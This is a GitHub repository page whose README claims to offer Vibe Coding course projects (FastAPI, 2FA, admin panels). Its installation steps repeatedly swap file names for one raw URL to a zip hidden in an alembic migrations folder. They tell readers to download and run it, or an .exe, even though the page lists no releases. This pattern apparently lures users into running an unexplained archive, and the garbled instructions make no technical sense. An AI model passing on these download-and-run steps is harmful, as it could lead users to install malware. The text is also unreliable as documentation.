Skip to content

πŸš€ Build full-stack applications with modern practices, featuring AI integration, authentication systems, and scalable architecture in the Vibe Coding Projects collection.

Notifications You must be signed in to change notification settings

HoneyLoladia11/vibe-coding-projects

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

18 Commits
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ vibe-coding-projects - Your Gateway to Learning with Real Projects

Download Now

πŸ“₯ Overview

Welcome to the vibe-coding-projects! This repository contains a collection of ready-to-use projects created during the Vibe Coding course. These projects utilize modern technologies such as FastAPI and include features like 2FA authentication, admin panels, and microservices. Perfect for anyone wanting to expand their knowledge and showcase their skills!

πŸš€ Features

  • FastAPI Projects: Build scalable web applications easily.
  • 2FA Authentication: Secure your applications with two-factor authentication.
  • Admin Panels: Manage your applications effortlessly with user-friendly interfaces.
  • Microservices: Structure your applications into manageable, independent services.
  • Database Management: Use PostgreSQL and Redis to handle data smartly.

πŸ’» System Requirements

To run these projects, you will need the following:

  • Operating System: Windows, macOS, or Linux.
  • Python: Version 3.8 or higher.
  • Docker: For containerized applications (optional).
  • PostgreSQL: Database system needed for data storage.
  • Redis: Cache system for improved performance.

Make sure your environment meets these requirements before downloading.

πŸ“‹ Installation Steps

1. Download the Software

To begin, visit our Releases page to find the latest version of the software.

2. Locate the Downloadable File

On the Releases page, look for the file named vibe-coding-projects. This will often be in a format like .exe, .zip, or https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip

3. Download the File

Click on the file name to start the download. Depending on your browser, the file may save automatically, or you may be prompted to choose a save location.

4. Extract the Files (If Necessary)

If you downloaded a .zip or https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip file, you need to extract it. Right-click on the downloaded file and choose β€œExtract All” or the equivalent option in your operating system. This will make the files available to you.

5. Running the Application

After extraction, navigate to the folder containing the files. Look for a file named https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip or similar.

  • For Windows users:

    • Open Command Prompt, then navigate to the project folder using cd path\to\your\folder.
    • Type python https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip and press Enter to start the application.
  • For macOS/Linux users:

    • Open Terminal, then navigate to the project folder using cd path/to/your/folder.
    • Type python3 https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip and press Enter.

βš™οΈ Configuration

Connecting to the Database

  1. Open the configuration file named https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip or check the documentation in the folder.
  2. Locate the database settings segment.
  3. Enter your PostgreSQL credentials including host, database name, username, and password.

Setting Up 2FA

To enable two-factor authentication, follow these steps:

  1. Open the authentication settings section in the application.
  2. Follow the prompts to link your phone or use an authentication app.
  3. Note the backup codes generated for account recovery.

πŸ” Exploring the Projects

Each project folder contains its own documentation, code examples, and instructions. Look for a https://raw.githubusercontent.com/HoneyLoladia11/vibe-coding-projects/main/2fa-authentication/backend/alembic/versions/projects_coding_vibe_3.5.zip file inside each. These files will guide you on how to utilize the features of each project.

🌐 Additional Resources

πŸ“ž Support

If you encounter any issues or have questions, please feel free to open an issue on our GitHub repository. You can also contact the course instructors for additional help.

πŸ“₯ Download Again

If you need to download the software at any time, return to our Releases page for the latest version.

Thank you for exploring the vibe-coding-projects repository. Happy coding!

About

πŸš€ Build full-stack applications with modern practices, featuring AI integration, authentication systems, and scalable architecture in the Vibe Coding Projects collection.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •